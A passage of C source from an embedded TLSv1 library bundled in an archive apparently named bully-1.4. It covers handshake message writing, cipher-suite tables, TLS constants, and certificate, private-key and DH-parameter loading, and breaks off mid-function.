(msg == NULL) return NULL; pos = msg; end = msg + msglen; if (conn->certificate_requested) { if (tls_write_client_certificate(conn, &pos, end) < 0) { os_free(msg); return NULL; } } if (tls_write_client_key_exchange(conn, &pos, end) < 0 || (conn->certificate_requested && conn->cred && conn->cred->key && tls_write_client_certificate_verify(conn, &pos, end) < 0) || tls_write_client_change_cipher_spec(conn, &pos, end) < 0 || tls_write_client_finished(conn, &pos, end) < 0) { os_free(msg); return NULL; } *out_len = pos - msg; conn->state = SERVER_CHANGE_CIPHER_SPEC; return msg; } static u8 * tls_send_change_cipher_spec(struct tlsv1_client *conn, size_t *out_len) { u8 *msg, *end, *pos; *out_len = 0; msg = os_malloc(1000); if (msg == NULL) return NULL; pos = msg; end = msg + 1000; if (tls_write_client_change_cipher_spec(conn, &pos, end) < 0 || tls_write_client_finished(conn, &pos, end) < 0) { os_free(msg); return NULL; } *out_len = pos - msg; wpa_printf(MSG_DEBUG, "TLSv1: Session resumption completed " "successfully"); conn->state = ESTABLISHED; return msg; } u8 * tlsv1_client_handshake_write(struct tlsv1_client *conn, size_t *out_len, int no_appl_data) { switch (conn->state) { case CLIENT_KEY_EXCHANGE: return tls_send_client_key_exchange(conn, out_len); case CHANGE_CIPHER_SPEC: return tls_send_change_cipher_spec(conn, out_len); case ACK_FINISHED: wpa_printf(MSG_DEBUG, "TLSv1: Handshake completed " "successfully"); conn->state = ESTABLISHED; *out_len = 0; if (no_appl_data) { /* Need to return something to get final TLS ACK. */ return os_malloc(1); } return NULL; default: wpa_printf(MSG_DEBUG, "TLSv1: Unexpected state %d while " "generating reply", conn->state); return NULL; } } u8 * tlsv1_client_send_alert(struct tlsv1_client *conn, u8 level, u8 description, size_t *out_len) { u8 *alert, *pos, *length; wpa_printf(MSG_DEBUG, "TLSv1: Send Alert(%d:%d)", level, description); *out_len = 0; alert = os_malloc(10); if (alert == NULL) return NULL; pos = alert; /* TLSPlaintext */ /* ContentType type */ *pos++ = TLS_CONTENT_TYPE_ALERT; /* ProtocolVersion version */ WPA_PUT_BE16(pos, TLS_VERSION); pos += 2; /* uint16 length (to be filled) */ length = pos; pos += 2; /* opaque fragment[TLSPlaintext.length] */ /* Alert */ /* AlertLevel level */ *pos++ = level; /* AlertDescription description */ *pos++ = description; WPA_PUT_BE16(length, pos - length - 2); *out_len = pos - alert; return alert; } bully-1.4-00/src/tls/tlsv1_common.c000077500000000000000000000165211361530463600171170ustar00rootroot00000000000000/* * TLSv1 common routines * Copyright (c) 2006-2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "x509v3.h" #include "tlsv1_common.h" /* * TODO: * RFC 2246 Section 9: Mandatory to implement TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA * Add support for commonly used cipher suites; don't bother with exportable * suites. */ static const struct tls_cipher_suite tls_cipher_suites[] = { { TLS_NULL_WITH_NULL_NULL, TLS_KEY_X_NULL, TLS_CIPHER_NULL, TLS_HASH_NULL }, { TLS_RSA_WITH_RC4_128_MD5, TLS_KEY_X_RSA, TLS_CIPHER_RC4_128, TLS_HASH_MD5 }, { TLS_RSA_WITH_RC4_128_SHA, TLS_KEY_X_RSA, TLS_CIPHER_RC4_128, TLS_HASH_SHA }, { TLS_RSA_WITH_DES_CBC_SHA, TLS_KEY_X_RSA, TLS_CIPHER_DES_CBC, TLS_HASH_SHA }, { TLS_RSA_WITH_3DES_EDE_CBC_SHA, TLS_KEY_X_RSA, TLS_CIPHER_3DES_EDE_CBC, TLS_HASH_SHA }, { TLS_DH_anon_WITH_RC4_128_MD5, TLS_KEY_X_DH_anon, TLS_CIPHER_RC4_128, TLS_HASH_MD5 }, { TLS_DH_anon_WITH_DES_CBC_SHA, TLS_KEY_X_DH_anon, TLS_CIPHER_DES_CBC, TLS_HASH_SHA }, { TLS_DH_anon_WITH_3DES_EDE_CBC_SHA, TLS_KEY_X_DH_anon, TLS_CIPHER_3DES_EDE_CBC, TLS_HASH_SHA }, { TLS_RSA_WITH_AES_128_CBC_SHA, TLS_KEY_X_RSA, TLS_CIPHER_AES_128_CBC, TLS_HASH_SHA }, { TLS_DH_anon_WITH_AES_128_CBC_SHA, TLS_KEY_X_DH_anon, TLS_CIPHER_AES_128_CBC, TLS_HASH_SHA }, { TLS_RSA_WITH_AES_256_CBC_SHA, TLS_KEY_X_RSA, TLS_CIPHER_AES_256_CBC, TLS_HASH_SHA }, { TLS_DH_anon_WITH_AES_256_CBC_SHA, TLS_KEY_X_DH_anon, TLS_CIPHER_AES_256_CBC, TLS_HASH_SHA } }; #define NUM_ELEMS(a) (sizeof(a) / sizeof((a)[0])) #define NUM_TLS_CIPHER_SUITES NUM_ELEMS(tls_cipher_suites) static const struct tls_cipher_data tls_ciphers[] = { { TLS_CIPHER_NULL, TLS_CIPHER_STREAM, 0, 0, 0, CRYPTO_CIPHER_NULL }, { TLS_CIPHER_IDEA_CBC, TLS_CIPHER_BLOCK, 16, 16, 8, CRYPTO_CIPHER_NULL }, { TLS_CIPHER_RC2_CBC_40, TLS_CIPHER_BLOCK, 5, 16, 0, CRYPTO_CIPHER_ALG_RC2 }, { TLS_CIPHER_RC4_40, TLS_CIPHER_STREAM, 5, 16, 0, CRYPTO_CIPHER_ALG_RC4 }, { TLS_CIPHER_RC4_128, TLS_CIPHER_STREAM, 16, 16, 0, CRYPTO_CIPHER_ALG_RC4 }, { TLS_CIPHER_DES40_CBC, TLS_CIPHER_BLOCK, 5, 8, 8, CRYPTO_CIPHER_ALG_DES }, { TLS_CIPHER_DES_CBC, TLS_CIPHER_BLOCK, 8, 8, 8, CRYPTO_CIPHER_ALG_DES }, { TLS_CIPHER_3DES_EDE_CBC, TLS_CIPHER_BLOCK, 24, 24, 8, CRYPTO_CIPHER_ALG_3DES }, { TLS_CIPHER_AES_128_CBC, TLS_CIPHER_BLOCK, 16, 16, 16, CRYPTO_CIPHER_ALG_AES }, { TLS_CIPHER_AES_256_CBC, TLS_CIPHER_BLOCK, 32, 32, 16, CRYPTO_CIPHER_ALG_AES } }; #define NUM_TLS_CIPHER_DATA NUM_ELEMS(tls_ciphers) /** * tls_get_cipher_suite - Get TLS cipher suite * @suite: Cipher suite identifier * Returns: Pointer to the cipher data or %NULL if not found */ const struct tls_cipher_suite * tls_get_cipher_suite(u16 suite) { size_t i; for (i = 0; i < NUM_TLS_CIPHER_SUITES; i++) if (tls_cipher_suites[i].suite == suite) return &tls_cipher_suites[i]; return NULL; } const struct tls_cipher_data * tls_get_cipher_data(tls_cipher cipher) { size_t i; for (i = 0; i < NUM_TLS_CIPHER_DATA; i++) if (tls_ciphers[i].cipher == cipher) return &tls_ciphers[i]; return NULL; } int tls_server_key_exchange_allowed(tls_cipher cipher) { const struct tls_cipher_suite *suite; /* RFC 2246, Section 7.4.3 */ suite = tls_get_cipher_suite(cipher); if (suite == NULL) return 0; switch (suite->key_exchange) { case TLS_KEY_X_DHE_DSS: case TLS_KEY_X_DHE_DSS_EXPORT: case TLS_KEY_X_DHE_RSA: case TLS_KEY_X_DHE_RSA_EXPORT: case TLS_KEY_X_DH_anon_EXPORT: case TLS_KEY_X_DH_anon: return 1; case TLS_KEY_X_RSA_EXPORT: return 1 /* FIX: public key len > 512 bits */; default: return 0; } } /** * tls_parse_cert - Parse DER encoded X.509 certificate and get public key * @buf: ASN.1 DER encoded certificate * @len: Length of the buffer * @pk: Buffer for returning the allocated public key * Returns: 0 on success, -1 on failure * * This functions parses an ASN.1 DER encoded X.509 certificate and retrieves * the public key from it. The caller is responsible for freeing the public key * by calling crypto_public_key_free(). */ int tls_parse_cert(const u8 *buf, size_t len, struct crypto_public_key **pk) { struct x509_certificate *cert; wpa_hexdump(MSG_MSGDUMP, "TLSv1: Parse ASN.1 DER certificate", buf, len); *pk = crypto_public_key_from_cert(buf, len); if (*pk) return 0; cert = x509_certificate_parse(buf, len); if (cert == NULL) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to parse X.509 " "certificate"); return -1; } /* TODO * verify key usage (must allow encryption) * * All certificate profiles, key and cryptographic formats are * defined by the IETF PKIX working group [PKIX]. When a key * usage extension is present, the digitalSignature bit must be * set for the key to be eligible for signing, as described * above, and the keyEncipherment bit must be present to allow * encryption, as described above. The keyAgreement bit must be * set on Diffie-Hellman certificates. (PKIX: RFC 3280) */ *pk = crypto_public_key_import(cert->public_key, cert->public_key_len); x509_certificate_free(cert); if (*pk == NULL) { wpa_printf(MSG_ERROR, "TLSv1: Failed to import " "server public key"); return -1; } return 0; } int tls_verify_hash_init(struct tls_verify_hash *verify) { tls_verify_hash_free(verify); verify->md5_client = crypto_hash_init(CRYPTO_HASH_ALG_MD5, NULL, 0); verify->md5_server = crypto_hash_init(CRYPTO_HASH_ALG_MD5, NULL, 0); verify->md5_cert = crypto_hash_init(CRYPTO_HASH_ALG_MD5, NULL, 0); verify->sha1_client = crypto_hash_init(CRYPTO_HASH_ALG_SHA1, NULL, 0); verify->sha1_server = crypto_hash_init(CRYPTO_HASH_ALG_SHA1, NULL, 0); verify->sha1_cert = crypto_hash_init(CRYPTO_HASH_ALG_SHA1, NULL, 0); if (verify->md5_client == NULL || verify->md5_server == NULL || verify->md5_cert == NULL || verify->sha1_client == NULL || verify->sha1_server == NULL || verify->sha1_cert == NULL) { tls_verify_hash_free(verify); return -1; } return 0; } void tls_verify_hash_add(struct tls_verify_hash *verify, const u8 *buf, size_t len) { if (verify->md5_client && verify->sha1_client) { crypto_hash_update(verify->md5_client, buf, len); crypto_hash_update(verify->sha1_client, buf, len); } if (verify->md5_server && verify->sha1_server) { crypto_hash_update(verify->md5_server, buf, len); crypto_hash_update(verify->sha1_server, buf, len); } if (verify->md5_cert && verify->sha1_cert) { crypto_hash_update(verify->md5_cert, buf, len); crypto_hash_update(verify->sha1_cert, buf, len); } } void tls_verify_hash_free(struct tls_verify_hash *verify) { crypto_hash_finish(verify->md5_client, NULL, NULL); crypto_hash_finish(verify->md5_server, NULL, NULL); crypto_hash_finish(verify->md5_cert, NULL, NULL); crypto_hash_finish(verify->sha1_client, NULL, NULL); crypto_hash_finish(verify->sha1_server, NULL, NULL); crypto_hash_finish(verify->sha1_cert, NULL, NULL); verify->md5_client = NULL; verify->md5_server = NULL; verify->md5_cert = NULL; verify->sha1_client = NULL; verify->sha1_server = NULL; verify->sha1_cert = NULL; } bully-1.4-00/src/tls/tlsv1_common.h000077500000000000000000000164461361530463600171320ustar00rootroot00000000000000/* * TLSv1 common definitions * Copyright (c) 2006-2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef TLSV1_COMMON_H #define TLSV1_COMMON_H #include "crypto/crypto.h" #define TLS_VERSION 0x0301 /* TLSv1 */ #define TLS_RANDOM_LEN 32 #define TLS_PRE_MASTER_SECRET_LEN 48 #define TLS_MASTER_SECRET_LEN 48 #define TLS_SESSION_ID_MAX_LEN 32 #define TLS_VERIFY_DATA_LEN 12 /* HandshakeType */ enum { TLS_HANDSHAKE_TYPE_HELLO_REQUEST = 0, TLS_HANDSHAKE_TYPE_CLIENT_HELLO = 1, TLS_HANDSHAKE_TYPE_SERVER_HELLO = 2, TLS_HANDSHAKE_TYPE_NEW_SESSION_TICKET = 4 /* RFC 4507 */, TLS_HANDSHAKE_TYPE_CERTIFICATE = 11, TLS_HANDSHAKE_TYPE_SERVER_KEY_EXCHANGE = 12, TLS_HANDSHAKE_TYPE_CERTIFICATE_REQUEST = 13, TLS_HANDSHAKE_TYPE_SERVER_HELLO_DONE = 14, TLS_HANDSHAKE_TYPE_CERTIFICATE_VERIFY = 15, TLS_HANDSHAKE_TYPE_CLIENT_KEY_EXCHANGE = 16, TLS_HANDSHAKE_TYPE_FINISHED = 20, TLS_HANDSHAKE_TYPE_CERTIFICATE_URL = 21 /* RFC 4366 */, TLS_HANDSHAKE_TYPE_CERTIFICATE_STATUS = 22 /* RFC 4366 */ }; /* CipherSuite */ #define TLS_NULL_WITH_NULL_NULL 0x0000 /* RFC 2246 */ #define TLS_RSA_WITH_NULL_MD5 0x0001 /* RFC 2246 */ #define TLS_RSA_WITH_NULL_SHA 0x0002 /* RFC 2246 */ #define TLS_RSA_EXPORT_WITH_RC4_40_MD5 0x0003 /* RFC 2246 */ #define TLS_RSA_WITH_RC4_128_MD5 0x0004 /* RFC 2246 */ #define TLS_RSA_WITH_RC4_128_SHA 0x0005 /* RFC 2246 */ #define TLS_RSA_EXPORT_WITH_RC2_CBC_40_MD5 0x0006 /* RFC 2246 */ #define TLS_RSA_WITH_IDEA_CBC_SHA 0x0007 /* RFC 2246 */ #define TLS_RSA_EXPORT_WITH_DES40_CBC_SHA 0x0008 /* RFC 2246 */ #define TLS_RSA_WITH_DES_CBC_SHA 0x0009 /* RFC 2246 */ #define TLS_RSA_WITH_3DES_EDE_CBC_SHA 0x000A /* RFC 2246 */ #define TLS_DH_DSS_EXPORT_WITH_DES40_CBC_SHA 0x000B /* RFC 2246 */ #define TLS_DH_DSS_WITH_DES_CBC_SHA 0x000C /* RFC 2246 */ #define TLS_DH_DSS_WITH_3DES_EDE_CBC_SHA 0x000D /* RFC 2246 */ #define TLS_DH_RSA_EXPORT_WITH_DES40_CBC_SHA 0x000E /* RFC 2246 */ #define TLS_DH_RSA_WITH_DES_CBC_SHA 0x000F /* RFC 2246 */ #define TLS_DH_RSA_WITH_3DES_EDE_CBC_SHA 0x0010 /* RFC 2246 */ #define TLS_DHE_DSS_EXPORT_WITH_DES40_CBC_SHA 0x0011 /* RFC 2246 */ #define TLS_DHE_DSS_WITH_DES_CBC_SHA 0x0012 /* RFC 2246 */ #define TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA 0x0013 /* RFC 2246 */ #define TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA 0x0014 /* RFC 2246 */ #define TLS_DHE_RSA_WITH_DES_CBC_SHA 0x0015 /* RFC 2246 */ #define TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA 0x0016 /* RFC 2246 */ #define TLS_DH_anon_EXPORT_WITH_RC4_40_MD5 0x0017 /* RFC 2246 */ #define TLS_DH_anon_WITH_RC4_128_MD5 0x0018 /* RFC 2246 */ #define TLS_DH_anon_EXPORT_WITH_DES40_CBC_SHA 0x0019 /* RFC 2246 */ #define TLS_DH_anon_WITH_DES_CBC_SHA 0x001A /* RFC 2246 */ #define TLS_DH_anon_WITH_3DES_EDE_CBC_SHA 0x001B /* RFC 2246 */ #define TLS_RSA_WITH_AES_128_CBC_SHA 0x002F /* RFC 3268 */ #define TLS_DH_DSS_WITH_AES_128_CBC_SHA 0x0030 /* RFC 3268 */ #define TLS_DH_RSA_WITH_AES_128_CBC_SHA 0x0031 /* RFC 3268 */ #define TLS_DHE_DSS_WITH_AES_128_CBC_SHA 0x0032 /* RFC 3268 */ #define TLS_DHE_RSA_WITH_AES_128_CBC_SHA 0x0033 /* RFC 3268 */ #define TLS_DH_anon_WITH_AES_128_CBC_SHA 0x0034 /* RFC 3268 */ #define TLS_RSA_WITH_AES_256_CBC_SHA 0x0035 /* RFC 3268 */ #define TLS_DH_DSS_WITH_AES_256_CBC_SHA 0x0036 /* RFC 3268 */ #define TLS_DH_RSA_WITH_AES_256_CBC_SHA 0x0037 /* RFC 3268 */ #define TLS_DHE_DSS_WITH_AES_256_CBC_SHA 0x0038 /* RFC 3268 */ #define TLS_DHE_RSA_WITH_AES_256_CBC_SHA 0x0039 /* RFC 3268 */ #define TLS_DH_anon_WITH_AES_256_CBC_SHA 0x003A /* RFC 3268 */ /* CompressionMethod */ #define TLS_COMPRESSION_NULL 0 /* AlertLevel */ #define TLS_ALERT_LEVEL_WARNING 1 #define TLS_ALERT_LEVEL_FATAL 2 /* AlertDescription */ #define TLS_ALERT_CLOSE_NOTIFY 0 #define TLS_ALERT_UNEXPECTED_MESSAGE 10 #define TLS_ALERT_BAD_RECORD_MAC 20 #define TLS_ALERT_DECRYPTION_FAILED 21 #define TLS_ALERT_RECORD_OVERFLOW 22 #define TLS_ALERT_DECOMPRESSION_FAILURE 30 #define TLS_ALERT_HANDSHAKE_FAILURE 40 #define TLS_ALERT_BAD_CERTIFICATE 42 #define TLS_ALERT_UNSUPPORTED_CERTIFICATE 43 #define TLS_ALERT_CERTIFICATE_REVOKED 44 #define TLS_ALERT_CERTIFICATE_EXPIRED 45 #define TLS_ALERT_CERTIFICATE_UNKNOWN 46 #define TLS_ALERT_ILLEGAL_PARAMETER 47 #define TLS_ALERT_UNKNOWN_CA 48 #define TLS_ALERT_ACCESS_DENIED 49 #define TLS_ALERT_DECODE_ERROR 50 #define TLS_ALERT_DECRYPT_ERROR 51 #define TLS_ALERT_EXPORT_RESTRICTION 60 #define TLS_ALERT_PROTOCOL_VERSION 70 #define TLS_ALERT_INSUFFICIENT_SECURITY 71 #define TLS_ALERT_INTERNAL_ERROR 80 #define TLS_ALERT_USER_CANCELED 90 #define TLS_ALERT_NO_RENEGOTIATION 100 #define TLS_ALERT_UNSUPPORTED_EXTENSION 110 /* RFC 4366 */ #define TLS_ALERT_CERTIFICATE_UNOBTAINABLE 111 /* RFC 4366 */ #define TLS_ALERT_UNRECOGNIZED_NAME 112 /* RFC 4366 */ #define TLS_ALERT_BAD_CERTIFICATE_STATUS_RESPONSE 113 /* RFC 4366 */ #define TLS_ALERT_BAD_CERTIFICATE_HASH_VALUE 114 /* RFC 4366 */ /* ChangeCipherSpec */ enum { TLS_CHANGE_CIPHER_SPEC = 1 }; /* TLS Extensions */ #define TLS_EXT_SERVER_NAME 0 /* RFC 4366 */ #define TLS_EXT_MAX_FRAGMENT_LENGTH 1 /* RFC 4366 */ #define TLS_EXT_CLIENT_CERTIFICATE_URL 2 /* RFC 4366 */ #define TLS_EXT_TRUSTED_CA_KEYS 3 /* RFC 4366 */ #define TLS_EXT_TRUNCATED_HMAC 4 /* RFC 4366 */ #define TLS_EXT_STATUS_REQUEST 5 /* RFC 4366 */ #define TLS_EXT_SESSION_TICKET 35 /* RFC 4507 */ #define TLS_EXT_PAC_OPAQUE TLS_EXT_SESSION_TICKET /* EAP-FAST terminology */ typedef enum { TLS_KEY_X_NULL, TLS_KEY_X_RSA, TLS_KEY_X_RSA_EXPORT, TLS_KEY_X_DH_DSS_EXPORT, TLS_KEY_X_DH_DSS, TLS_KEY_X_DH_RSA_EXPORT, TLS_KEY_X_DH_RSA, TLS_KEY_X_DHE_DSS_EXPORT, TLS_KEY_X_DHE_DSS, TLS_KEY_X_DHE_RSA_EXPORT, TLS_KEY_X_DHE_RSA, TLS_KEY_X_DH_anon_EXPORT, TLS_KEY_X_DH_anon } tls_key_exchange; typedef enum { TLS_CIPHER_NULL, TLS_CIPHER_RC4_40, TLS_CIPHER_RC4_128, TLS_CIPHER_RC2_CBC_40, TLS_CIPHER_IDEA_CBC, TLS_CIPHER_DES40_CBC, TLS_CIPHER_DES_CBC, TLS_CIPHER_3DES_EDE_CBC, TLS_CIPHER_AES_128_CBC, TLS_CIPHER_AES_256_CBC } tls_cipher; typedef enum { TLS_HASH_NULL, TLS_HASH_MD5, TLS_HASH_SHA } tls_hash; struct tls_cipher_suite { u16 suite; tls_key_exchange key_exchange; tls_cipher cipher; tls_hash hash; }; typedef enum { TLS_CIPHER_STREAM, TLS_CIPHER_BLOCK } tls_cipher_type; struct tls_cipher_data { tls_cipher cipher; tls_cipher_type type; size_t key_material; size_t expanded_key_material; size_t block_size; /* also iv_size */ enum crypto_cipher_alg alg; }; struct tls_verify_hash { struct crypto_hash *md5_client; struct crypto_hash *sha1_client; struct crypto_hash *md5_server; struct crypto_hash *sha1_server; struct crypto_hash *md5_cert; struct crypto_hash *sha1_cert; }; const struct tls_cipher_suite * tls_get_cipher_suite(u16 suite); const struct tls_cipher_data * tls_get_cipher_data(tls_cipher cipher); int tls_server_key_exchange_allowed(tls_cipher cipher); int tls_parse_cert(const u8 *buf, size_t len, struct crypto_public_key **pk); int tls_verify_hash_init(struct tls_verify_hash *verify); void tls_verify_hash_add(struct tls_verify_hash *verify, const u8 *buf, size_t len); void tls_verify_hash_free(struct tls_verify_hash *verify); #endif /* TLSV1_COMMON_H */ bully-1.4-00/src/tls/tlsv1_cred.c000077500000000000000000000274161361530463600165510ustar00rootroot00000000000000/* * TLSv1 credentials * Copyright (c) 2006-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "base64.h" #include "crypto/crypto.h" #include "x509v3.h" #include "tlsv1_cred.h" struct tlsv1_credentials * tlsv1_cred_alloc(void) { struct tlsv1_credentials *cred; cred = os_zalloc(sizeof(*cred)); return cred; } void tlsv1_cred_free(struct tlsv1_credentials *cred) { if (cred == NULL) return; x509_certificate_chain_free(cred->trusted_certs); x509_certificate_chain_free(cred->cert); crypto_private_key_free(cred->key); os_free(cred->dh_p); os_free(cred->dh_g); os_free(cred); } static int tlsv1_add_cert_der(struct x509_certificate **chain, const u8 *buf, size_t len) { struct x509_certificate *cert; char name[128]; cert = x509_certificate_parse(buf, len); if (cert == NULL) { wpa_printf(MSG_INFO, "TLSv1: %s - failed to parse certificate", __func__); return -1; } cert->next = *chain; *chain = cert; x509_name_string(&cert->subject, name, sizeof(name)); wpa_printf(MSG_DEBUG, "TLSv1: Added certificate: %s", name); return 0; } static const char *pem_cert_begin = "-----BEGIN CERTIFICATE-----"; static const char *pem_cert_end = "-----END CERTIFICATE-----"; static const char *pem_key_begin = "-----BEGIN RSA PRIVATE KEY-----"; static const char *pem_key_end = "-----END RSA PRIVATE KEY-----"; static const char *pem_key2_begin = "-----BEGIN PRIVATE KEY-----"; static const char *pem_key2_end = "-----END PRIVATE KEY-----"; static const char *pem_key_enc_begin = "-----BEGIN ENCRYPTED PRIVATE KEY-----"; static const char *pem_key_enc_end = "-----END ENCRYPTED PRIVATE KEY-----"; static const u8 * search_tag(const char *tag, const u8 *buf, size_t len) { size_t i, plen; plen = os_strlen(tag); if (len < plen) return NULL; for (i = 0; i < len - plen; i++) { if (os_memcmp(buf + i, tag, plen) == 0) return buf + i; } return NULL; } static int tlsv1_add_cert(struct x509_certificate **chain, const u8 *buf, size_t len) { const u8 *pos, *end; unsigned char *der; size_t der_len; pos = search_tag(pem_cert_begin, buf, len); if (!pos) { wpa_printf(MSG_DEBUG, "TLSv1: No PEM certificate tag found - " "assume DER format"); return tlsv1_add_cert_der(chain, buf, len); } wpa_printf(MSG_DEBUG, "TLSv1: Converting PEM format certificate into " "DER format"); while (pos) { pos += os_strlen(pem_cert_begin); end = search_tag(pem_cert_end, pos, buf + len - pos); if (end == NULL) { wpa_printf(MSG_INFO, "TLSv1: Could not find PEM " "certificate end tag (%s)", pem_cert_end); return -1; } der = base64_decode(pos, end - pos, &der_len); if (der == NULL) { wpa_printf(MSG_INFO, "TLSv1: Could not decode PEM " "certificate"); return -1; } if (tlsv1_add_cert_der(chain, der, der_len) < 0) { wpa_printf(MSG_INFO, "TLSv1: Failed to parse PEM " "certificate after DER conversion"); os_free(der); return -1; } os_free(der); end += os_strlen(pem_cert_end); pos = search_tag(pem_cert_begin, end, buf + len - end); } return 0; } static int tlsv1_set_cert_chain(struct x509_certificate **chain, const char *cert, const u8 *cert_blob, size_t cert_blob_len) { if (cert_blob) return tlsv1_add_cert(chain, cert_blob, cert_blob_len); if (cert) { u8 *buf; size_t len; int ret; buf = (u8 *) os_readfile(cert, &len); if (buf == NULL) { wpa_printf(MSG_INFO, "TLSv1: Failed to read '%s'", cert); return -1; } ret = tlsv1_add_cert(chain, buf, len); os_free(buf); return ret; } return 0; } /** * tlsv1_set_ca_cert - Set trusted CA certificate(s) * @cred: TLSv1 credentials from tlsv1_cred_alloc() * @cert: File or reference name for X.509 certificate in PEM or DER format * @cert_blob: cert as inlined data or %NULL if not used * @cert_blob_len: ca_cert_blob length * @path: Path to CA certificates (not yet supported) * Returns: 0 on success, -1 on failure */ int tlsv1_set_ca_cert(struct tlsv1_credentials *cred, const char *cert, const u8 *cert_blob, size_t cert_blob_len, const char *path) { if (tlsv1_set_cert_chain(&cred->trusted_certs, cert, cert_blob, cert_blob_len) < 0) return -1; if (path) { /* TODO: add support for reading number of certificate files */ wpa_printf(MSG_INFO, "TLSv1: Use of CA certificate directory " "not yet supported"); return -1; } return 0; } /** * tlsv1_set_cert - Set certificate * @cred: TLSv1 credentials from tlsv1_cred_alloc() * @cert: File or reference name for X.509 certificate in PEM or DER format * @cert_blob: cert as inlined data or %NULL if not used * @cert_blob_len: cert_blob length * Returns: 0 on success, -1 on failure */ int tlsv1_set_cert(struct tlsv1_credentials *cred, const char *cert, const u8 *cert_blob, size_t cert_blob_len) { return tlsv1_set_cert_chain(&cred->cert, cert, cert_blob, cert_blob_len); } static struct crypto_private_key * tlsv1_set_key_pem(const u8 *key, size_t len) { const u8 *pos, *end; unsigned char *der; size_t der_len; struct crypto_private_key *pkey; pos = search_tag(pem_key_begin, key, len); if (!pos) { pos = search_tag(pem_key2_begin, key, len); if (!pos) return NULL; pos += os_strlen(pem_key2_begin); end = search_tag(pem_key2_end, pos, key + len - pos); if (!end) return NULL; } else { pos += os_strlen(pem_key_begin); end = search_tag(pem_key_end, pos, key + len - pos); if (!end) return NULL; } der = base64_decode(pos, end - pos, &der_len); if (!der) return NULL; pkey = crypto_private_key_import(der, der_len, NULL); os_free(der); return pkey; } static struct crypto_private_key * tlsv1_set_key_enc_pem(const u8 *key, size_t len, const char *passwd) { const u8 *pos, *end; unsigned char *der; size_t der_len; struct crypto_private_key *pkey; if (passwd == NULL) return NULL; pos = search_tag(pem_key_enc_begin, key, len); if (!pos) return NULL; pos += os_strlen(pem_key_enc_begin); end = search_tag(pem_key_enc_end, pos, key + len - pos); if (!end) return NULL; der = base64_decode(pos, end - pos, &der_len); if (!der) return NULL; pkey = crypto_private_key_import(der, der_len, passwd); os_free(der); return pkey; } static int tlsv1_set_key(struct tlsv1_credentials *cred, const u8 *key, size_t len, const char *passwd) { cred->key = crypto_private_key_import(key, len, passwd); if (cred->key == NULL) cred->key = tlsv1_set_key_pem(key, len); if (cred->key == NULL) cred->key = tlsv1_set_key_enc_pem(key, len, passwd); if (cred->key == NULL) { wpa_printf(MSG_INFO, "TLSv1: Failed to parse private key"); return -1; } return 0; } /** * tlsv1_set_private_key - Set private key * @cred: TLSv1 credentials from tlsv1_cred_alloc() * @private_key: File or reference name for the key in PEM or DER format * @private_key_passwd: Passphrase for decrypted private key, %NULL if no * passphrase is used. * @private_key_blob: private_key as inlined data or %NULL if not used * @private_key_blob_len: private_key_blob length * Returns: 0 on success, -1 on failure */ int tlsv1_set_private_key(struct tlsv1_credentials *cred, const char *private_key, const char *private_key_passwd, const u8 *private_key_blob, size_t private_key_blob_len) { crypto_private_key_free(cred->key); cred->key = NULL; if (private_key_blob) return tlsv1_set_key(cred, private_key_blob, private_key_blob_len, private_key_passwd); if (private_key) { u8 *buf; size_t len; int ret; buf = (u8 *) os_readfile(private_key, &len); if (buf == NULL) { wpa_printf(MSG_INFO, "TLSv1: Failed to read '%s'", private_key); return -1; } ret = tlsv1_set_key(cred, buf, len, private_key_passwd); os_free(buf); return ret; } return 0; } static int tlsv1_set_dhparams_der(struct tlsv1_credentials *cred, const u8 *dh, size_t len) { struct asn1_hdr hdr; const u8 *pos, *end; pos = dh; end = dh + len; /* * DHParameter ::= SEQUENCE { * prime INTEGER, -- p * base INTEGER, -- g * privateValueLength INTEGER OPTIONAL } */ /* DHParamer ::= SEQUENCE */ if (asn1_get_next(pos, len, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_SEQUENCE) { wpa_printf(MSG_DEBUG, "DH: DH parameters did not start with a " "valid SEQUENCE - found class %d tag 0x%x", hdr.class, hdr.tag); return -1; } pos = hdr.payload; /* prime INTEGER */ if (asn1_get_next(pos, end - pos, &hdr) < 0) return -1; if (hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_INTEGER) { wpa_printf(MSG_DEBUG, "DH: No INTEGER tag found for p; " "class=%d tag=0x%x", hdr.class, hdr.tag); return -1; } wpa_hexdump(MSG_MSGDUMP, "DH: prime (p)", hdr.payload, hdr.length); if (hdr.length == 0) return -1; os_free(cred->dh_p); cred->dh_p = os_malloc(hdr.length); if (cred->dh_p == NULL) return -1; os_memcpy(cred->dh_p, hdr.payload, hdr.length); cred->dh_p_len = hdr.length; pos = hdr.payload + hdr.length; /* base INTEGER */ if (asn1_get_next(pos, end - pos, &hdr) < 0) return -1; if (hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_INTEGER) { wpa_printf(MSG_DEBUG, "DH: No INTEGER tag found for g; " "class=%d tag=0x%x", hdr.class, hdr.tag); return -1; } wpa_hexdump(MSG_MSGDUMP, "DH: base (g)", hdr.payload, hdr.length); if (hdr.length == 0) return -1; os_free(cred->dh_g); cred->dh_g = os_malloc(hdr.length); if (cred->dh_g == NULL) return -1; os_memcpy(cred->dh_g, hdr.payload, hdr.length); cred->dh_g_len = hdr.length; return 0; } static const char *pem_dhparams_begin = "-----BEGIN DH PARAMETERS-----"; static const char *pem_dhparams_end = "-----END DH PARAMETERS-----"; static int tlsv1_set_dhparams_blob(struct tlsv1_credentials *cred, const u8 *buf, size_t len) { const u8 *pos, *end; unsigned char *der; size_t der_len; pos = 